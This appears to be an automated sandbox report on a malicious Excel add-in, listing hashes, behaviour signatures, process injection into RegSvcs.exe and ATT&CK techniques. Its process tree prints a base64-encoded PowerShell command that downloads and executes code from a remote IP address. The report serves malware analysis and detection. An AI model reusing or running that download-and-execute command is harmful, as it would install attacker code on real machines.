5115b61255546bf812e84d215a21c0257897397669df2dab882bfb29161e698d

General

Target

5b9c94b55944d98483b6f79e0886baf344f579d4.xlam
Size

17KB
MD5

f4ea7a9daa7defa4e9e3c54301f31973
SHA1

5b9c94b55944d98483b6f79e0886baf344f579d4
SHA256

5115b61255546bf812e84d215a21c0257897397669df2dab882bfb29161e698d
SHA512

7f67ed6aa41a22cd8e3b3dedfb6df4fa6a1400a766c2f8b151584e245c896cffc5aa1d52f23e2725066b7526fb82c6df4f2cc0793c94d55892ccd1559ca5662d

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1016	4340	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

33 1016 powershell.exe
Suspicious use of SetThreadContext 1 IoCs

Processes:

powershell.exe

description pid process target process

PID 1016 set thread context of 4848 1016 powershell.exe RegSvcs.exe

flow	pid	process
33	1016	powershell.exe

description	pid	process	target process
PID 1016 set thread context of 4848	1016	powershell.exe	RegSvcs.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4340 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1016 powershell.exe
1016 powershell.exe
1016 powershell.exe

pid	process
4340	EXCEL.EXE

pid	process
1016	powershell.exe
1016	powershell.exe
1016	powershell.exe

Suspicious use of AdjustPrivilegeToken 28 IoCs

Processes:

powershell.exeRegSvcs.exe

description	pid	process
Token: SeDebugPrivilege	1016	powershell.exe
Token: SeDebugPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe
Token: 33	4848	RegSvcs.exe
Token: SeIncBasePriorityPrivilege	4848	RegSvcs.exe

Suspicious use of SetWindowsHookEx 10 IoCs

Processes:

EXCEL.EXE

pid process

4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE
4340 EXCEL.EXE

pid	process
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE
4340	EXCEL.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

EXCEL.EXEpowershell.exe

description	pid	process	target process
PID 4340 wrote to memory of 1016	4340	EXCEL.EXE	powershell.exe
PID 4340 wrote to memory of 1016	4340	EXCEL.EXE	powershell.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe
PID 1016 wrote to memory of 4848	1016	powershell.exe	RegSvcs.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\5b9c94b55944d98483b6f79e0886baf344f579d4.xlam"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4340

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAuAEkAbgB2AG8AawBlACgAJwANAAoAaAB0AHQAcAA6AC8ALwAxADcAOQAuADQAMwAuADEAOAA3AC4AMQAzADEALwB5AGoAcQBmAC8ARgBhAFQAUAAuAGoAcABnAA0ACgAnACkAOwAgAA0ACgBNAGgAUABKAGQATAByAE0AcABJAFAAbwB3AHMARwB0AGMAcABiAHQARwBPAHkATwB3AFEASQBRAGUAWgBLAHIAQgBNAEYAcABKAGkAaABZAFQAaQBOAGQASABLAE8ARgBUAFgAQwBOAGYAbwBhAFgATgBhAHoAdQBjAEUASABwAFgAQQBTAEUAUgB0AE4AVQBkAGMARAB5AGIAcgBpAEYAYwBjAFcAaABEAA0ACgA=
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1016

C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
3⤵
- Suspicious use of AdjustPrivilegeToken
PID:4848

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

memory/1016-284-0x0000000000000000-mapping.dmp

Download
memory/1016-325-0x000001E2BE058000-0x000001E2BE059000-memory.dmp

Filesize
4KB

Download
memory/1016-321-0x000001E2D65A0000-0x000001E2D65A1000-memory.dmp

Filesize
4KB

Download
memory/1016-306-0x000001E2BE056000-0x000001E2BE058000-memory.dmp

Filesize
8KB

Download
memory/1016-305-0x000001E2BE053000-0x000001E2BE055000-memory.dmp

Filesize
8KB

Download
memory/1016-304-0x000001E2BE050000-0x000001E2BE052000-memory.dmp

Filesize
8KB

Download
memory/4340-122-0x0000026235560000-0x0000026235562000-memory.dmp

Filesize
8KB

Download
memory/4340-125-0x0000026235560000-0x0000026235562000-memory.dmp

Filesize
8KB

Download
memory/4340-124-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmp

Filesize
64KB

Download
memory/4340-123-0x0000026235560000-0x0000026235562000-memory.dmp

Filesize
8KB

Download
memory/4340-118-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmp

Filesize
64KB

Download
memory/4340-121-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmp

Filesize
64KB

Download
memory/4340-120-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmp

Filesize
64KB

Download
memory/4340-119-0x00007FFE228C0000-0x00007FFE228D0000-memory.dmp

Filesize
64KB

Download
memory/4848-310-0x000000000040675E-mapping.dmp

Download
memory/4848-331-0x00000000055F0000-0x00000000055F1000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads